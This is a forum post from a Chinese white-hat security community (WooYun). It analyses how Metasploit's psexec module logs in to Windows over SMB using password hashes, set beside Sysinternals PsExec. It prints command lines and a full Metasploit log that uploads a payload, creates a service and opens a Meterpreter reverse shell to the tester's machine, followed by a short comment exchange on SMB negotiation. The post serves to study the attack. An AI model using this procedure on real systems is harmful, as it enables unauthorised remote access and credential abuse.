当前位置:WooYun(白帽子技术社区) >> 渗透测试 >> [使用Hash直接登录Windows]简单分析

[使用Hash直接登录Windows]简单分析

upload (Van Helsing) | 2013-01-06 01:08

知识库:使用Hash直接登录Windows
zone:使用Hash直接登录Windows

由于msf用到exploit/windows/smb/psexec模块,所以猜想和pstool里面的PsExec.exe应该有些许联系

查看说明,PsExec.exe可以进行远程连接得到一个交互式cmdshell,
C:\Documents and Settings\Administrator\桌面>PsExec.exe \\192.168.1.108 -u "admi
nistrator" -p "123"  cmd

PsExec v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

csdn上某牛对于改工具的分析:PSTOOLS系列工具分析----对PSEXEC的逆向解析
“可以看到psexec在通信时主要用到了SMB这个应用层协议。简而言之,SMB(服务器信息块)协议是一个通过网络在共享文件、设备、命名管道和邮槽之间操作数据的协议,我们建立IPC连接、映射网络驱动、拷贝文件等操作都是基于SMB协议”
话说回来,msf中使用的,自己重现使用hash登陆的部分过程:
msf  exploit(psexec) > exploit
[*] Started reverse handler on 192.168.1.5:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.1.108:445|WORKGROUP as user 'administrator'...
[*] Uploading payload...
[*] Created \JLqNziXu.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (lvNaXYva - "MyQqiNw")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \JLqNziXu.exe...
[*] Sending stage (752128 bytes) to 192.168.1.108
[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 192.168.1.108:1033) at 2013-01-05 22:05:35 +0800

meterpreter > sysinfo
Computer        :Test
OS              : Windows .NET Server (Build 3790).
Architecture    : x86
System Language : zh_CN
Meterpreter     : x86/win32
meterpreter >

可以看出认证部分[*] Authenticating to 192.168.1.108:445|WORKGROUP as user 'administrator'...应该就是向服务器发起一个用户或共享的认证(其他的是Meterpreter shell建立的过程),大致原理和PsExec.exe的是一样的。
最后关键的问题是,msf这种的"使用的是hash登陆"。而SMB协商过程指出:
“在SMB协议中,如果你想进行一次在服务器上的请求认证,你的密码可以以原码或加密后的形式发送到服务器端。如果服务器支持加密属性,客户端必须发送一个应答信号。在negprot应答数据报中,服务器会给客户端发送一个密钥。然后,客户端将密码加密并通过SesssetupX请求数据报发送到服务器端。服务器将会核查密码的有效性,并由此允许或拒绝客户端的访问。你必须知道一个SMB密码(未加密)的最大长度是14位。密钥的长度一般为8位,加密过后的口令长度为24位。在ANSI密码中,密码中的所有位都转换成大写的形式然后再加密。
密码是以DEC编码方式进行加密的。”
抓包证明:
利用PSEXEC远程连接,SMB协商过程数据包:
数据包
另外:次过程中,通过cain做嗅探,导致smb协商不成功,而且cain抓出提出smb协议的主机的账号及hash,而没能抓出登陆过程使用的用户名密码
meterpreter连接方式(应答报文包含了一个“SecurityMode”域,它判断是否允许使用加密属性):
QQ截图20130106005006.jpg
得以验证。
--!

分享到:
  1. 1#
    回复此人 感谢
    Pnig0s (Know me then ignore me.) | 2013-05-07 09:11

    我会告诉你你两次看的不是同一个协议么亲。。第一次是Read and X 第二次看的是negprot协议,而且那个Security Mode是数据报的一部分,不管加不加密一定会存在的,第二位置1是因为增强通信过程的安全性,不信你试下 用psexec直接明文连接也会置1:)

  2. 2#
    回复此人 感谢
    upload (Van Helsing) | 2013-05-07 10:02

    @Pnig0s 的确不是同一个协议,本身表达的意思是两者都包含SMB协商过程,这里Read AndX是SMB会话的建立过程,而negotiate protocol是协议磋商,SMB协议版本确定;Security Mode这个是negotiate协议中的一段,理所当然存在,Security Mode图中截图可以看到值为0x03(0011),四位各自表示的意思在图中有说明

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录